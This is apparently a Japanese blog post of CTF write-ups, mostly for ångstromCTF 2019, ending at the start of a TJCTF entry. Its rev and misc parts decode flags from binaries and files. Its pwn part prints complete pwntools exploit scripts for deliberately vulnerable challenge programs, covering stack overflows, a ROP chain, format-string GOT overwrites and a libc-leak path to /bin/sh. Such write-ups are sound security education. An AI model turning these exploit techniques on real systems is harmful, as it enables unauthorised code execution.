開催期間時間があまり割けず、これ以外の問題も少し見たんだが、時間がこれよりかかりそうだと思いじっくりと考えることができなかった。時間がたっぷりあればあまり解かれていないpwnの問題とかも挑戦して見たかった(解けるとは言っていない)。

Harekazeさん開催ありがとうございました。とても楽しかった。

ångstromCTF writeup

ångstromCTFで僕が解いた問題のwriteup

pwnとrevとmiscを少しずつ

今回のctfはpicoctfの時みたいに各チームにアカウントが配られログインできるサーバーがある。そこに色々問題が置かれている。
ブラウザからもログインできるシェルもある。

Rev

Intro to Rev(10pt)

とりあえずログインして実行すると、どうすればいいか書いてあった。

team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

To get the flag for this problem, run this file again with the arguments 'binary' and 'reversing' (don't put the quotes).

team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev binary reversing
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

Good job, now go solve some real problems!
actf{this_is_only_the_beginning}

FLAG:actf{this_is_only_the_beginning}

I Like It(40pt)

バイナリが配られるので読む。
fileコマンド

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev$ file ./i_like_it 
./i_like_it: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=aacf2043e5e2bf56d4b871b4ca1695b2db440a01, not stripped

とりあえずgdbで読む。

gdb-peda$pdisas main
...
...
   0x0000000000400791 <+42>:	mov    rdx,QWORD PTR [rip+0x2008d8]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400798 <+49>:	lea    rax,[rbp-0x20]
   0x000000000040079c <+53>:	mov    esi,0x14
   0x00000000004007a1 <+58>:	mov    rdi,rax
   0x00000000004007a4 <+61>:	call   0x400640 <fgets@plt>
   0x00000000004007a9 <+66>:	lea    rax,[rbp-0x20]
   0x00000000004007ad <+70>:	mov    rdi,rax
   0x00000000004007b0 <+73>:	call   0x400610 <strlen@plt>
   0x00000000004007b5 <+78>:	sub    rax,0x1
   0x00000000004007b9 <+82>:	mov    BYTE PTR [rbp+rax*1-0x20],0x0
   0x00000000004007be <+87>:	lea    rax,[rbp-0x20]
   0x00000000004007c2 <+91>:	lea    rsi,[rip+0x1a8]        # 0x400971
   0x00000000004007c9 <+98>:	mov    rdi,rax
   0x00000000004007cc <+101>:	call   0x400650 <strcmp@plt>
   0x00000000004007d1 <+106>:	test   eax,eax
   0x00000000004007d3 <+108>:	je     0x4007eb <main+132>
   0x00000000004007d5 <+110>:	lea    rdi,[rip+0x19f]        # 0x40097b
   0x00000000004007dc <+117>:	call   0x400600 <puts@plt>
   0x00000000004007e1 <+122>:	mov    edi,0x0
   0x00000000004007e6 <+127>:	call   0x400670 <exit@plt>
   0x00000000004007eb <+132>:	lea    rdi,[rip+0x1a0]        # 0x400992
   0x00000000004007f2 <+139>:	call   0x400600 <puts@plt>
   0x00000000004007f7 <+144>:	lea    rdi,[rip+0x1b2]        # 0x4009b0
   0x00000000004007fe <+151>:	call   0x400600 <puts@plt>
   0x0000000000400803 <+156>:	mov    rdx,QWORD PTR [rip+0x200866]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x000000000040080a <+163>:	lea    rax,[rbp-0x2c]
   0x000000000040080e <+167>:	mov    esi,0xc
   0x0000000000400813 <+172>:	mov    rdi,rax
   0x0000000000400816 <+175>:	call   0x400640 <fgets@plt>
   0x000000000040081b <+180>:	lea    rcx,[rbp-0x30]
   0x000000000040081f <+184>:	lea    rdx,[rbp-0x34]
   0x0000000000400823 <+188>:	lea    rax,[rbp-0x2c]
   0x0000000000400827 <+192>:	lea    rsi,[rip+0x1bf]        # 0x4009ed
   0x000000000040082e <+199>:	mov    rdi,rax
   0x0000000000400831 <+202>:	mov    eax,0x0
   0x0000000000400836 <+207>:	call   0x400660 <__isoc99_sscanf@plt>
   0x000000000040083b <+212>:	mov    edx,DWORD PTR [rbp-0x34]
   0x000000000040083e <+215>:	mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000400841 <+218>:	add    eax,edx
   0x0000000000400843 <+220>:	cmp    eax,0x88
   0x0000000000400848 <+225>:	jne    0x400864 <main+253>
   0x000000000040084a <+227>:	mov    edx,DWORD PTR [rbp-0x34]
   0x000000000040084d <+230>:	mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000400850 <+233>:	imul   eax,edx
   0x0000000000400853 <+236>:	cmp    eax,0xec7
   0x0000000000400858 <+241>:	jne    0x400864 <main+253>
   0x000000000040085a <+243>:	mov    edx,DWORD PTR [rbp-0x34]
   0x000000000040085d <+246>:	mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000400860 <+249>:	cmp    edx,eax
   0x0000000000400862 <+251>:	jl     0x40087a <main+275>
...
gdb-peda$ x/15s 0x400971
0x400971:	"okrrrrrrr"
0x40097b:	"Cardi don't lik"...
0x40098a:	"e that."
0x400992:	"I said I like i"...
0x4009a1:	"t like that!"
0x4009ae:	""
0x4009af:	""
0x4009b0:	"I like two inte"...
0x4009bf:	"gers that I'm t"...
0x4009ce:	"hinking of (spa"...
0x4009dd:	"ce separated): "
0x4009ec:	""
0x4009ed:	"%d %d"
0x4009f3:	"Flag: actf{%s_%"...
0x400a02:	"d_%d}\n"

最初のfgetsで0x400971からの文字列と比較、一致すれば、fgetsからの入力をsscanfのフォーマット"%d %d"で二つの10進数を入力する。二つの入力をa,bとするとそのあとのアセンブリより
a+b = 0x88
a*b = 0xec7
a < bであることがわかるのでこれを解く。a = 39, b = 97

FLAG:actf{okrrrrrrr_39_97}

One Bite(60pt)

fileコマンド

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/one_b$ file one_bite 
one_bite: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f2e0bf29ac3cda06d867b815711a05358eab373, not stripped

ディスアセンブルで大事なところを載せる

gdb-peda$pdisas main
...
...
   0x00000000004006a2 <+43>:	mov    rdx,QWORD PTR [rip+0x2009a7]        # 0x601050 <stdin@@GLIBC_2.2.5>
   0x00000000004006a9 <+50>:	lea    rax,[rbp-0x40]
   0x00000000004006ad <+54>:	mov    esi,0x22
   0x00000000004006b2 <+59>:	mov    rdi,rax
   0x00000000004006b5 <+62>:	call   0x400570 <fgets@plt>
   0x00000000004006ba <+67>:	mov    DWORD PTR [rbp-0x4c],0x0
   0x00000000004006c1 <+74>:	jmp    0x4006df <main+104>
   0x00000000004006c3 <+76>:	mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004006c6 <+79>:	cdqe   
   0x00000000004006c8 <+81>:	movzx  eax,BYTE PTR [rbp+rax*1-0x40]
   0x00000000004006cd <+86>:	xor    eax,0x3c
   0x00000000004006d0 <+89>:	mov    edx,eax
   0x00000000004006d2 <+91>:	mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004006d5 <+94>:	cdqe   
   0x00000000004006d7 <+96>:	mov    BYTE PTR [rbp+rax*1-0x40],dl
   0x00000000004006db <+100>:	add    DWORD PTR [rbp-0x4c],0x1
   0x00000000004006df <+104>:	mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004006e2 <+107>:	movsxd rbx,eax
   0x00000000004006e5 <+110>:	lea    rax,[rbp-0x40]
   0x00000000004006e9 <+114>:	mov    rdi,rax
   0x00000000004006ec <+117>:	call   0x400550 <strlen@plt>
   0x00000000004006f1 <+122>:	cmp    rbx,rax
   0x00000000004006f4 <+125>:	jb     0x4006c3 <main+76>
   0x00000000004006f6 <+127>:	lea    rax,[rip+0x103]        # 0x400800
   0x00000000004006fd <+134>:	mov    QWORD PTR [rbp-0x48],rax
   0x0000000000400701 <+138>:	mov    rdx,QWORD PTR [rbp-0x48]
   0x0000000000400705 <+142>:	lea    rax,[rbp-0x40]
   0x0000000000400709 <+146>:	mov    rsi,rdx
   0x000000000040070c <+149>:	mov    rdi,rax
   0x000000000040070f <+152>:	call   0x400580 <strcmp@plt>
...
...
gdb-peda$ x/34bx 0x400800
0x400800:	0x5d	0x5f	0x48	0x5a	0x47	0x55	0x63	0x48
0x400808:	0x54	0x55	0x52	0x57	0x63	0x55	0x51	0x63
0x400810:	0x5b	0x53	0x55	0x52	0x5b	0x63	0x48	0x53
0x400818:	0x63	0x5e	0x59	0x63	0x4f	0x55	0x5f	0x57
0x400820:	0x41	0x00

入力を1文字ずつ^=0x3cして、0x400800と比較している。つまりこういうことだ。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main()
{
	char flag [0x21] = {0x5d, 0x5f, 0x48, 0x5a, 0x47, 0x55, 0x63, 0x48,
			    0x54, 0x55, 0x52, 0x57, 0x63, 0x55, 0x51, 0x63,
			    0x5b ,0x53, 0x55, 0x52, 0x5b, 0x63, 0x48, 0x53,
			    0x63, 0x5e ,0x59, 0x63, 0x4f, 0x55, 0x5f, 0x57,
			    0x41};
	int i ;
	for(i = 0; i < 0x21; i++){
		printf("%c", flag[i] ^ 0x3c);
	}
	printf("\n");
	return 0;
}

flagの配列はこのくらいの長さなら手で打ち込めるが、長い場合はopenやlseek等を使って抽出した方がもちろんいい。

FLAG: actf{i_think_im_going_to_be_sick}

High Quality Checks(110pt)

fileコマンド

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/high_q_check$ file high_q 
high_q: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e7556b55e0c73b4de8b3f387571dd59c3535a0ee, not stripped

これはもうゴリゴリ読んだ。関数がめちゃくちゃあったから大変だった。こういうのはangrみたいなシンボリック実行ツールがあると楽なんだが、まだ使いこなせていない。復習にangrで解こうと思う。

FLAG: actf忘れた

icthyo(130pt)

libpngを使った面白い問題だった。なんかリバースエンジニアリングって感じがした。結局はcrackmeと同じくinputの文字列に依存するものだったけども。

配られるファイルは実行バイナリとout.png

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ file icthyo 
icthyo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=a390bbd4f8eff8fbbd02411a754ded08162de918, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ ./icthyo 
USAGE: ./icthyo in.png out.png

第一引数にpngファイルを指定し、第3引数のファイル名でpngファイルを作成するようだ。今回は作成されたout.pngが配られたみたい。

gdbで見るとread_file関数でin.pngを読み込んで、pngファイルを扱う構造体の初期化を行う感じ、encode関数で読み込んだpngファイルのbitをいじる。write_file関数でいじったやつを新たにpngファイルとして作成する、って感じだ。

encode関数のなかでrandom関数とかを呼んだりしているが、そこの部分は関係なくて、fgetsの入力でbitが操作される部分を見れば十分。大事な部分のディスアセンブリを載せる。

gdb-peda$ pdisas encode
....
....
   0x0000000000401025 <+338>:	mov    DWORD PTR [rbp-0x130],0x0
   0x000000000040102f <+348>:	jmp    0x401104 <encode+561>
   0x0000000000401034 <+353>:	mov    edx,DWORD PTR [rbp-0x130]
   0x000000000040103a <+359>:	mov    eax,edx
   0x000000000040103c <+361>:	add    eax,eax
   0x000000000040103e <+363>:	add    eax,edx
   0x0000000000401040 <+365>:	shl    eax,0x5
   0x0000000000401043 <+368>:	movsxd rdx,eax
   0x0000000000401046 <+371>:	mov    rax,QWORD PTR [rbp-0x128]
   0x000000000040104d <+378>:	add    rax,rdx
   0x0000000000401050 <+381>:	mov    QWORD PTR [rbp-0x120],rax
   0x0000000000401057 <+388>:	mov    eax,DWORD PTR [rbp-0x138]
   0x000000000040105d <+394>:	cdqe   
   0x000000000040105f <+396>:	movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x0000000000401067 <+404>:	movsx  edx,al
   0x000000000040106a <+407>:	mov    eax,DWORD PTR [rbp-0x130]
   0x0000000000401070 <+413>:	mov    ecx,eax
   0x0000000000401072 <+415>:	sar    edx,cl
   0x0000000000401074 <+417>:	mov    eax,edx
   0x0000000000401076 <+419>:	and    eax,0x1
   0x0000000000401079 <+422>:	mov    DWORD PTR [rbp-0x12c],eax
   0x000000000040107f <+428>:	mov    rax,QWORD PTR [rbp-0x120]
   0x0000000000401086 <+435>:	add    rax,0x2
   0x000000000040108a <+439>:	movzx  eax,BYTE PTR [rax]
   0x000000000040108d <+442>:	movzx  eax,al
   0x0000000000401090 <+445>:	and    eax,0x1
   0x0000000000401093 <+448>:	test   eax,eax
   0x0000000000401095 <+450>:	je     0x4010b5 <encode+482>
   0x0000000000401097 <+452>:	mov    rax,QWORD PTR [rbp-0x120]
   0x000000000040109e <+459>:	add    rax,0x2
   0x00000000004010a2 <+463>:	movzx  edx,BYTE PTR [rax]
   0x00000000004010a5 <+466>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010ac <+473>:	add    rax,0x2
   0x00000000004010b0 <+477>:	xor    edx,0x1
   0x00000000004010b3 <+480>:	mov    BYTE PTR [rax],dl
   0x00000000004010b5 <+482>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010bc <+489>:	add    rax,0x2
   0x00000000004010c0 <+493>:	movzx  eax,BYTE PTR [rax]
   0x00000000004010c3 <+496>:	mov    ecx,eax
   0x00000000004010c5 <+498>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010cc <+505>:	movzx  edx,BYTE PTR [rax]
   0x00000000004010cf <+508>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010d6 <+515>:	add    rax,0x1
   0x00000000004010da <+519>:	movzx  eax,BYTE PTR [rax]
   0x00000000004010dd <+522>:	xor    eax,edx
   0x00000000004010df <+524>:	and    eax,0x1
   0x00000000004010e2 <+527>:	mov    edx,eax
   0x00000000004010e4 <+529>:	mov    eax,DWORD PTR [rbp-0x12c]
   0x00000000004010ea <+535>:	xor    eax,edx
   0x00000000004010ec <+537>:	or     ecx,eax
   0x00000000004010ee <+539>:	mov    edx,ecx
   0x00000000004010f0 <+541>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010f7 <+548>:	add    rax,0x2
   0x00000000004010fb <+552>:	mov    BYTE PTR [rax],dl
   0x00000000004010fd <+554>:	add    DWORD PTR [rbp-0x130],0x1
   0x0000000000401104 <+561>:	cmp    DWORD PTR [rbp-0x130],0x7
   0x000000000040110b <+568>:	jle    0x401034 <encode+353>
   0x0000000000401111 <+574>:	add    DWORD PTR [rbp-0x138],0x1
   0x0000000000401118 <+581>:	cmp    DWORD PTR [rbp-0x138],0xff
   0x0000000000401122 <+591>:	jle    0x400f3f <encode+108>
   0x0000000000401128 <+597>:	nop
...
...
...

libpngのpng_infoやpng_structについての詳細は省略する。実行バイナリに倣って、使ったこともないlibpngを使ってsolve.cを書こう。

//solve.c
#include <stdio.h>
#include <stdlib.h>
#include <png.h>

int main(int argc, char** argv)
{
	FILE* fp;
	png_structp png_ptr;
	png_infop info_ptr;
	unsigned long width, height;
	unsigned long** rows;		
	int i, j, k;
	
	fp = fopen(argv[1], "rb");
	png_ptr = png_create_read_struct("1.6.34", 0, 0, 0);
	info_ptr = png_create_info_struct(png_ptr);
	png_init_io(png_ptr, fp);
	png_read_info(png_ptr,info_ptr);
	rows = (png_bytepp)malloc(0x800);
	for(i = 0; i <= 0xff; i++){
		rows[i] = (png_bytep)malloc(png_get_rowbytes(png_ptr, info_ptr));
	}
	png_read_image(png_ptr, rows);
	
	char* _x120;
	char tmp;
	char pt;
	
	for(i = 0; i <= 0xff; i++){
		tmp = 0;
		pt = 0;
		for(k = 0; k <= 7; k++){
			_x120 = (char*)(((unsigned long) *(rows+i)) + k*3*32);
			tmp = *(_x120+2) & 0x1;
			tmp ^= (*(_x120)^*(_x120+1))&0x1;
			pt |= tmp << k;
		}
		printf("%c", pt);
	}
	return 0;
}

FLAG:actf{lurking_in_the_depths_of_random_bits}

pwn

Aquarium(50pt)

cのソースコードも配られ良心的。
バイナリ情報

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ checksec.sh --file aquarium
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   aquarium

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ file aquarium
aquarium: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d83c04fed4657a5e5675412f5a2568c6850c0f70, not stripped
//aquarium.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

struct fish_tank {
	char name[50];
	int fish;
	int fish_size;
	int water;
	int width;
	int length;
	int height;
};


struct fish_tank create_aquarium() {
	struct fish_tank tank;

	printf("Enter the number of fish in your fish tank: ");
	scanf("%d", &tank.fish);
	getchar();

	printf("Enter the size of the fish in your fish tank: ");
	scanf("%d", &tank.fish_size);
	getchar();

	printf("Enter the amount of water in your fish tank: ");
	scanf("%d", &tank.water);
	getchar();

	printf("Enter the width of your fish tank: ");
	scanf("%d", &tank.width);
	getchar();

	printf("Enter the length of your fish tank: ");
	scanf("%d", &tank.length);
	getchar();

	printf("Enter the height of your fish tank: ");
	scanf("%d", &tank.height);
	getchar();

	printf("Enter the name of your fish tank: ");
	char name[50];
	gets(name);

	strcpy(name, tank.name);
	return tank;
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	struct fish_tank tank;

	tank = create_aquarium();

	if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
		printf("Your fish tank has overflowed!\n");
		return 1;
	}

	printf("Nice fish tank you have there.\n");

	return 0;
}

getsの脆弱性。オーバーフローが起こせそう。リターンアドレスをflag関数にしてやる。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='***')
conn.set_working_directory('/problems/2019/aquarium')
pro = conn.process('./aquarium')

flag_addr = 0x4011b6

payload = "A"*0x98
payload += p64(flag_addr)

pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline(payload)

pro.interactive()

FLAG:actf{overflowed_more_than_just_a_fish_tank}

Chain of Rope(80pt)

またcのコード付き
バイナリ情報

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ file chain_of_rope
chain_of_rope: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=064faad4fb2a3a1b7600f988df09e3d7dd9c44d5, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ checksec.sh --file chain_of_rope
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   chain_of_rope
//chain_of_rope.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
	userToken = 0x1337;
	return 0;
}

int addBalance (int pin) {
	if (userToken == 0x1337 && pin == 0xdeadbeef) {
		balance = 0x4242;
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

int flag (int pin, int secret) {
	if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
		printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
		system("/bin/cat flag.txt");
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

void getInfo () {
	printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
	char name [32];
	printf("--== ROPE CHAIN BLACK MARKET ==--\n");
	printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
	printf("What would you like to do?\n");
	printf("1 - Set name\n");
	printf("2 - Get user info\n");
	printf("3 - Grant access\n");
	int choice;
	scanf("%d\n", &choice);
	if (choice == 1) {
		gets(name);
	} else if (choice == 2) {
		getInfo();
	} else if (choice == 3) {
		printf("lmao no\n");
	} else {
		printf("I don't know what you're saying so get out of my black market\n");
	}
	return 0;
}

またもやgetsがあるのでoverflowの脆弱性。flag関数の引数チェックを通るには、authorize()でグローバル変数userTokenをセットしたあとaddBalance(0xdeadbeef)を呼んでグローバル変数balanceをセットしたあとflag(0xba5eba11, 0xbeddab1e)を呼べば良い。

64bitバイナリなので引数はレジスタにセットする。rpでそのガジェットを検索してエクスプロイトコードを書く。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='****')
conn.set_working_directory('/problems/2019/chain_of_rope')
pro = conn.process('./chain_of_rope')

flag_func = 0x4011eb
auth_func = 0x401196
addb_func = 0x4011ab

pop_rsi_r15 = 0x401401
pop_rdi = 0x401403
buf_size = 0x30

payload = "1"
payload += "A"*buf_size
payload += "A"*8
payload += p64(auth_func)
payload += p64(pop_rdi)
payload += p64(0xdeadbeef)
payload += p64(addb_func)
payload += p64(pop_rsi_r15)
payload += p64(0xbedabb1e)
payload += "A"*8
payload += p64(pop_rdi)
payload += p64(0xba5eba11)
payload += p64(flag_func)


pro.recvuntil("access\n")
pro.sendline(payload)

pro.interactive()

FLAG:actf{dark_web_bargains}

この問題、問題文のバイナリと実際に動いているバイナリが少し違って、関数のアドレスだったりgetsの引数バッファの位置が違ってかなり困惑した。
今見たらまた変わってた。

Purchases(120pt)

cのコードついている。おそらくこのctf全部cソースがある。嬉しいね。

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ file purchases
purchases: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=81d703c9e71c8e60af8bdd4515f6bada05bcbcf8, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ checksec.sh --file ./purchases
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./purchases
//purchases.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[60];
	printf("What item would you like to purchase? ");
	fgets(item, sizeof(item), stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("You don't have any money to buy ");
		printf(item);
		printf("s. You're wasting your time! We don't even sell ");
		printf(item);
		printf("s. Leave this place and buy ");
		printf(item);
		printf(" somewhere else. ");
	}

	printf("Get out!\n");
	return 0;
}

printfのfsbがある。3つも。そんなにいらないが。
注意すべきはfgetsのあと最後の文字をnull文字にしていること。これに気がつかず、かなり時間をとった。
mainの最後のprintfはコンパイルするとputsになっていたので、puts@gotをflag関数に書き換える。
第8引数からがitem変数の先頭をさしていた。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='****')
conn.set_working_directory('/problems/2019/purchases')
pro = conn.process('./purchases')

puts_got= 0x404018
flag_func = 0x4011b6

target_off = 0x20
first = flag_func >> 16
second = (flag_func & 0xffff) - first

payload = "%" + str(8+target_off/8) +"$n"
payload += "%" + str(first) + "x"
payload += "%" + str(8+target_off/8+1) + "$hn"
payload += "%" + str(second) + "x"
payload += "%" + str(8+target_off/8+2) + "$hn"
payload += "A" * (target_off - len(payload))
payload += p64(0xff404018+4) #0xff will be replaced in 0x00
payload += p64(puts_got+2)
payload += p64(puts_got)

pro.recvuntil("purchase? ")
pro.sendline(payload)

pro.interactive()

FLAG:actf{limited_edition_flag}

Returns(160pt)

この問題ではバイナリ、cソースコードに加えて、libcも配られた。まあサーバー上のlibcのバージョンのものであろう。

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ file returns
returns: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=64f74f862ba5864cb66351be406d4f1d1d07a3b6, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ checksec.sh --file ./returns
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./returns
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[50];
	printf("What item would you like to return? ");
	fgets(item, 50, stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("We didn't sell you a ");
		printf(item);
		printf(". You're trying to scam us! We don't even sell ");
		printf(item);
		printf("s. Leave this place and take your ");
		printf(item);
		printf(" with you. ");
	}

	printf("Get out!\n");
	return 0;
}

上のpurchaseの問題とかなり類似している。異なる点はitemの長さが短くなったことやflag関数がなくなった点がある。同じくprintfのfsbが存在し、mainの最後のprintfはputsでコンパイルされている。
流れとしてはputs@gotをmain関数に書き換え、main関数がループするようにする。その後どこか適当なgot領域をprintfで読み出し、libcのbaseを計算し、strlen@gotをsystemに書き換え、fgetsで"/bin/sh"を入力し、strlenに渡す。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='***')
conn.set_working_directory('/problems/2019/returns')
pro = conn.process('./returns')

main_addr = 0x4011a6
strlen_got = 0x404020
puts_got = 0x404018

#in libc
system_offset = 0x45390
puts_offset = 0x6f690
strlen_offset = 0x8b720

buf_off = 32

payload = "%" + str(0x40) + "x"
payload += "%" + str(8+buf_off/8) + "$hn"
payload += "%" + str(0x11a6-0x40) + "x"
payload += "%" + str(8+buf_off/8+1) + "$hn"
payload += "A" * (buf_off - len(payload))
payload += p64(0xff404018+0x2) #0xff will be replaced to 0x00
payload += p64(puts_got)

pro.recvuntil("return? ")
pro.sendline(payload)

payload = "%" + str(8+buf_off/8) + "$s"
payload += "A" * (buf_off -len(payload))
payload += p64(0xff404020) #0xff will be replaced to 0x00
 
pro.recvuntil("return? ")
pro.sendline(payload)

pro.recvuntil("you a ")
strlen_libc =  pro.recvuntil("A")
strlen_libc = strlen_libc[0:len(strlen_libc)-1]
strlen_libc += "\x00"*(8-len(strlen_libc))
strlen_libc = u64(strlen_libc)

system_libc = strlen_libc - strlen_offset + system_offset


first = system_libc & 0xffff
second = (system_libc >> 16) & 0xffff
second = second + 0x10000 - first 

payload = "%" + str(first) + "x"
payload += "%" + str(8+buf_off/8) + "$hn"
payload += "%" + str(second) + "x"
payload += "%" + str(8+buf_off/8+1) + "$hn"
payload += "A" * (buf_off - len(payload))
payload += p64(0xff404020) #0xff will be replaced to 0x00
payload += p64(strlen_got+2)

pro.recvuntil("return? ")
pro.sendline(payload)

pro.recvuntil("return? ")
print "strlen :" + hex(strlen_libc)
print "system : " + hex(system_libc)
print "first : " + hex(first)
print "second : " + hex(second)

pro.interactive()

interactiveモードになったら/bin/shなりcat flag.txtなり入力する

FLAG:actf{no_returns_allowed}

misc

Blank Paper(30pt)

壊れたpdfが配られるので、バイナリエディタで開くと最初の4バイトがnullになっているので、asciiで"%PDF"に書き換えてあげる。
FLAG:actf{knot_very_interesting}

Paper Bin(40pt)

.datファイルが配布される。binwalkでみると色々pdfやらが入ってそう
foremostに投げるといくつかpdfを取り出してくれてそのうちの一つ00011880.pdfにflagが
FLAG:actf{proof_by_triviality}

Just Letters(60pt)

問題文の中にリンクとサーバー
https://esolangs.org/wiki/AlphaBeta
サーバーにつなぐとこんな感じ

$ nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> 

メモリを読み出せば良いらしく、リンク先のHello World!の例文をみると、register 3にセットしたものを出力できるらしいので、メモリから1文字ずつregister 1にセットしそれをregister 3にコピーしoutputを繰り返す。一つのループは"GCLS"で出来るのでこれを適当に繰り返す。

brainfuckの一種か

FLAG:actf{esolangs_sure_are_fun!}

まとめ

楽しかた
お疲れした
何かあればコメントください

TJCTF writeup

久しぶりの更新、生きています。

TJCTFで僕が解いた問題のwriteupを書きます

TJCTFリンクhttps://tjctf.org/

Python in One Line (rev 10pt)

問題文
It's not code golf but it's something...

one.py This is printed when you input the flag: .. - / .. ... -. - / -- --- .-. ... / -.-. --- -.. .


ソースコードが配られる

# one.py
